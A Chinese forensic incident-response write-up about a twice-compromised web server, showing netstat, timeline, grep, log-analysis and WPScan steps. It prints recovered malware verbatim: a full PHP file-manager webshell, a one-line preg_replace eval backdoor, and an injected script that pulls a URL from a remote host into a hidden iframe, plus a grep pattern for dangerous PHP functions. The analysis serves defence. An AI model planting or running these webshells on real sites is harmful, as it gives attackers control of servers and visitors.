本文讲的是
一次服务器被攻击的应急行动,
应用仍然在运行; 应用至少被黑过两次; 应用已经被管理员大量修改过了。
确定系统是否被破坏,如果被破坏,则删除或屏蔽与此相关的所有内容; 检测哪些文件被修改以避免将受感染的文件转移到新的主机; 理想情况下,初始攻击向量被阻止;
netstat -tulpen
netstat -taupn
./mac-robber / > /root/forensics/timeline.txt
关于在服务器上何时创建了哪些文件的信息 各种日志文件,其中包括Apache日志 受损网站的源代码,包括一些修改的shell 在第一次和第二次攻击之间备份的信息
diff Xjrop.php Nwfqx.php
md5sum Xjrop.php md5sum Nwfqx.php
<?php set_time_limit(0); error_reporting(0); if(get_magic_quotes_gpc()){ foreach($_POST as $key=>$value){ $_POST[$key] = stripslashes($value); } } echo '<!DOCTYPE HTML> <HTML> <HEAD> <link href="" rel="stylesheet" type="text/css"> <title>404-server!!</title> <style> body{ font-family: "Racing Sans One", cursive; background-color: #e6e6e6; text-shadow:0px 0px 1px #757575; } #content tr:hover{ background-color: #636263; text-shadow:0px 0px 10px #fff; } #content .first{ background-color: silver; } #content .first:hover{ background-color: silver; text-shadow:0px 0px 1px #757575; } table{ border: 1px #000000 dotted; } H1{ font-family: "Rye", cursive; } a{ color: #000; text-decoration: none; } a:hover{ color: #fff; text-shadow:0px 0px 10px #ffffff; } input,select,textarea{ border: 1px #000000 solid; -moz-border-radius: 5px; -webkit-border-radius:5px; border-radius:5px; } </style> </HEAD> <BODY> <H1><center>config root man</center></H1> <table width="700" border="0" cellpadding="3" cellspacing="1" align="center"> <tr><td>Current Path : '; if(isset($_GET['path'])){ $path = $_GET['path']; }else{ $path = getcwd(); } $path = str_replace('','/',$path); $paths = explode('/',$path); foreach($paths as $id=>$pat){ if($pat == '' && $id == 0){ $a = true; echo '<a href="?path=/">/</a>'; continue; } if($pat == '') continue; echo '<a href="?path='; for($i=0;$i<=$id;$i++){ echo "$paths[$i]"; if($i != $id) echo "/"; } echo '">'.$pat.'</a>/'; } echo '</td></tr><tr><td>'; if(isset($_FILES['file'])){ if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){ echo '<font color="green">File Upload Done.</font><br />'; }else{ echo '<font color="red">File Upload Error.</font><br />'; } } echo '<b><br>'.php_uname().'<br></b>'; echo '<form enctype="multipart/form-data" method="POST"> Upload File : <input type="file" name="file" /> <input type="submit" value="upload" /> </form> </td></tr>'; if(isset($_GET['filesrc'])){ echo "<tr><td>Current File : "; echo $_GET['filesrc']; echo '</tr></td></table><br />'; echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>'); }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){ echo '</table><br /><center>'.$_POST['path'].'<br /><br />'; if($_POST['opt'] == 'chmod'){ if(isset($_POST['perm'])){ if(chmod($_POST['path'],$_POST['perm'])){ echo '<font color="green">Change Permission Done.</font><br />'; }else{ echo '<font color="red">Change Permission Error.</font><br />'; } } echo '<form method="POST"> Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" /> <input type="hidden" name="path" value="'.$_POST['path'].'"> <input type="hidden" name="opt" value="chmod"> <input type="submit" value="Go" /> </form>'; }elseif($_POST['opt'] == 'rename'){ if(isset($_POST['newname'])){ if(rename($_POST['path'],$path.'/'.$_POST['newname'])){ echo '<font color="green">Change Name Done.</font><br />'; }else{ echo '<font color="red">Change Name Error.</font><br />'; } $_POST['name'] = $_POST['newname']; } echo '<form method="POST"> New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" /> <input type="hidden" name="path" value="'.$_POST['path'].'"> <input type="hidden" name="opt" value="rename"> <input type="submit" value="Go" /> </form>'; }elseif($_POST['opt'] == 'edit'){ if(isset($_POST['src'])){ $fp = fopen($_POST['path'],'w'); if(fwrite($fp,$_POST['src'])){ echo '<font color="green">Edit File Done.</font><br />'; }else{ echo '<font color="red">Edit File Error.</font><br />'; } fclose($fp); } echo '<form method="POST"> <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br /> <input type="hidden" name="path" value="'.$_POST['path'].'"> <input type="hidden" name="opt" value="edit"> <input type="submit" value="Go" /> </form>'; } echo '</center>'; }else{ echo '</table><br /><center>'; if(isset($_GET['option']) && $_POST['opt'] == 'delete'){ if($_POST['type'] == 'dir'){ if(rmdir($_POST['path'])){ echo '<font color="green">Delete Dir Done.</font><br />'; }else{ echo '<font color="red">Delete Dir Error.</font><br />'; } }elseif($_POST['type'] == 'file'){ if(unlink($_POST['path'])){ echo '<font color="green">Delete File Done.</font><br />'; }else{ echo '<font color="red">Delete File Error.</font><br />'; } } } echo '</center>'; $scandir = scandir($path); echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center"> <tr class="first"> <td><center>Name</center></td> <td><center>Size</center></td> <td><center>Permissions</center></td> <td><center>Options</center></td> </tr>'; foreach($scandir as $dir){ if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue; echo "<tr> <td><a href="?path=$path/$dir">$dir</a></td> <td><center>--</center></td> <td><center>"; if(is_writable("$path/$dir")) echo '<font color="green">'; elseif(!is_readable("$path/$dir")) echo '<font color="red">'; echo perms("$path/$dir"); if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>'; echo "</center></td> <td><center><form method="POST" action="?option&path=$path"> <select name="opt"> <option value=""></option> <option value="delete">Delete</option> <option value="chmod">Chmod</option> <option value="rename">Rename</option> </select> <input type="hidden" name="type" value="dir"> <input type="hidden" name="name" value="$dir"> <input type="hidden" name="path" value="$path/$dir"> <input type="submit" value=">" /> </form></center></td> </tr>"; } echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>'; foreach($scandir as $file){ if(!is_file("$path/$file")) continue; $size = filesize("$path/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; }else{ $size = $size.' KB'; } echo "<tr> <td><a href="?filesrc=$path/$file&path=$path">$file</a></td> <td><center>".$size."</center></td> <td><center>"; if(is_writable("$path/$file")) echo '<font color="green">'; elseif(!is_readable("$path/$file")) echo '<font color="red">'; echo perms("$path/$file"); if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>'; echo "</center></td> <td><center><form method="POST" action="?option&path=$path"> <select name="opt"> <option value=""></option> <option value="delete">Delete</option> <option value="chmod">Chmod</option> <option value="rename">Rename</option> <option value="edit">Edit</option> </select> <input type="hidden" name="type" value="file"> <input type="hidden" name="name" value="$file"> <input type="hidden" name="path" value="$path/$file"> <input type="submit" value=">" /> </form></center></td> </tr>"; } echo '</table> </div>'; } echo '<br />Man Man <br /> </BODY> </HTML>'; function perms($file){ $perms = fileperms($file); if (($perms & 0xC000) == 0xC000) { // Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { // Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { // Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { // Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { // FIFO pipe $info = 'p'; } else { // Unknown $info = 'u'; } // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?>
<?php @preg_replace("/[pageerror]/e",$_POST['mkf3wapa'],"saft"); ?>
<?php $way = 'http://XXX.XXX.XXX.XXX/dir/index.php?52b019b=l3SKfPrfJxjFGMeDebmtF_FXPAzaHkyZxYufiaWSHJmkaWD8jvT5Sknh_QTIT1XW_r4'; $fd = @file($way); if ($fd !== false) if (isset($fd[0])) echo(' <iframe src="'.$fd[0].'" width="1" height="1" style="position:absolute;left:-1px;"></iframe> '); ?>
<iframe src="way.php"></iframe>
passthru exec shell_exec eval system
egrep -rin "system|passthru|exec|shell_exec|eval" /var/www/vhosts/xyz/ > ~/forensics/results_shell_grep.txt
fputs fwrite fopen (especially with URLs) chmod socket_* curl_* base64_decode gzinflate
find -mtime -2 /directory
root@DESKTOP-XXX:~# cat webmalwarescan_results.txt |grep "webshell" [2017-08-01 09:24:56] Scan result for file /path/to/up.php : webshell iMHaPFtp 2 [...]
mactime -b timeline.txt 2017-06-01 > timeline_output.txt
Fri Jun 30 2017 15:43:02 308 .a.. -rw-r--r-- 10000 1004 0 /var/www/vhosts/xyz/httpdocs/way.php Fri Jun 30 2017 15:51:55 308 m.c. -rw-r--r-- 10000 1004 0 /var/www/vhosts/xyz/httpdocs/way.php Fri Jun 30 2017 16:07:47 31 m.c. -rw-r--r-- 10000 1004 0 /var/www/vhosts/xyz/httpdocs/newmessage.html
在访问文件时设置a(atime); c(ctime)是在文件内容或权限发生更改时设置的; 当文件内容发生了变化,而不是所有者或权限更改时,设置m; 在创建文件时,设置b。
/opt/apache-scalp/scalp# python scalp.py -l /path/to/logs/access_log.processed.1_plain -f /path/to/default_filter.xml -a lfi,rfi,sqli,dt -p "25/Jun/2017;05/Jul/2017" --output /root/scalp --html
[+] w3-total-cache * [UNKNOWN] W3 Total Cache 0.9.2.4 - Username & Hash Extract Fixed in: 0.9.2.5 + http://seclists.org/fulldisclosure/2012/Dec/242 + https://github.com/FireFart/W3TotalCacheExploit * [RCE] W3 Total Cache - Remote Code Execution Fixed in: 0.9.2.9 + http://www.acunetix.com/blog/web-security-zone/wp-plugins-remote-code-execution/ + http://wordpress.org/support/topic/pwn3d + http://blog.sucuri.net/2013/04/update-wp-super-cache-and-w3tc-immediately-remote-code-execution-vulnerability-disclosed.html * [CSRF] W3 Total Cache 0.9.4 - Edge Mode Enabling CSRF Fixed in: 0.9.4.1 + http://seclists.org/fulldisclosure/2014/Sep/29 * [CSRF] W3 Total Cache <= 0.9.4 - Cross-Site Request Forgery (CSRF) Fixed in: 0.9.4.1
原文发布时间为:2017年9月18日
本文作者:luochicun
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。.